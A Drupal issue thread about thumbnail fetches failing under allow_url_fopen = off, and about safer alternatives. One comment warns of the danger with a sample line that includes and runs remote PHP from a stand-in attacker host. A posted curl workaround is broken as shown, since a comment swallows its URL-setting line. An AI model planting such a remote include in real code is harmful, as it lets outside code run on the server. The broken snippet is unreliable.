file_get_contents issues with thumbnail fetch

Same here, what is the solution?

this is unfortunate. it looks like a server php configuration problem. can one of you having the problem post your php info here, maybe i can compare it to mine and find the problem?

thanks,
aaron

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I suspect the server is either running PHP in safe mode, or with allow_url_fopen = OFF. Can you please check that? See also #436146: warning: fopen(/tmp/) [0function.fopen0]: failed to open stream: Is a directory in .../feedapi_imagegrabber.module on line 526 and #210191: Problems with file_get_contents().

no, don't run it with safe mode on. causes lots of issues w/ drupal in general.

you do need allow_url_fopen ON for embedded thumbnail media.

i suppose we could discover that in the module requirements?

Thanks, added that to the readme.

Sorry for reopening this issue, but I don't think that advising people to turn allow_url_fopen on is the correct way to handle it.

Notice that allow_url_fopen is a PHP mistake from a security point of view. Running with allow_url_fopen = on allows thing like:

include('http://evil.example.com/exploit.php');

The code above will load and run the remote PHP file on the server if allow_url_fopen is on and allow_url_include is also on (which sadly may be the case in many servers where PHP were updated but new directives like this one were not included on php.ini).

That's why many hosting companies run with allow_url_fopen = off.

But even if you're willing to run with allow_url_fopen = on, you may not be allowed to do so by your hosting company. In such cases, the only choice would be to switch host, which may be a PITA in some cases.

So what's the solution then?

For general PHP programming, you may use the curl extension or even roll your own HTTP request procedure using the socket interface.

But hey, we all use Drupal here so we already have drupal_http_request() which do the dirty job of making the TCP connection, doing the HTTP talk, handling errors etc.:

drupal_http_request():

Perform an HTTP request.

This is a flexible and powerful HTTP client implementation. Correctly handles GET, POST, PUT or any other HTTP requests. Handles redirects.

So IMHO the correct way to fix this problem is to switch all remote file_get_contents() with drupal_http_request().

Thanks @flaviovs, I'll roll this into the next release.

I agree flaviovs. Thanks for looking into this aaron.

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Hi everyone, I managed to solve this problem using curl. Well,the error messages have disappeared and things seem to be working just fine.

Insert this into emthumb.module:

function file_get_contents_curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //Set curl to return the data instead of printing it to the browser. curl_setopt($ch, CURLOPT_URL, $url);
$data = curl_exec($ch); curl_close($ch);
return $data;
}

Change this line:

// Attempt to fetch the thumbnail from the provided URL.
$image = file_get_contents($thumbnail);

To:

// Attempt to fetch the thumbnail from the provided URL.
$image = file_get_contents_curl($thumbnail);

Thats all!

Albert8, why not use drupal_http_request?

Thanks Albert8 #18 worked for me (using 6.x-1.20). This is a critical bug and would be great to roll into next release.

OK, should be fixed now, and committed to all d6 dev branches. Thanks!

using drupal_http_request of course.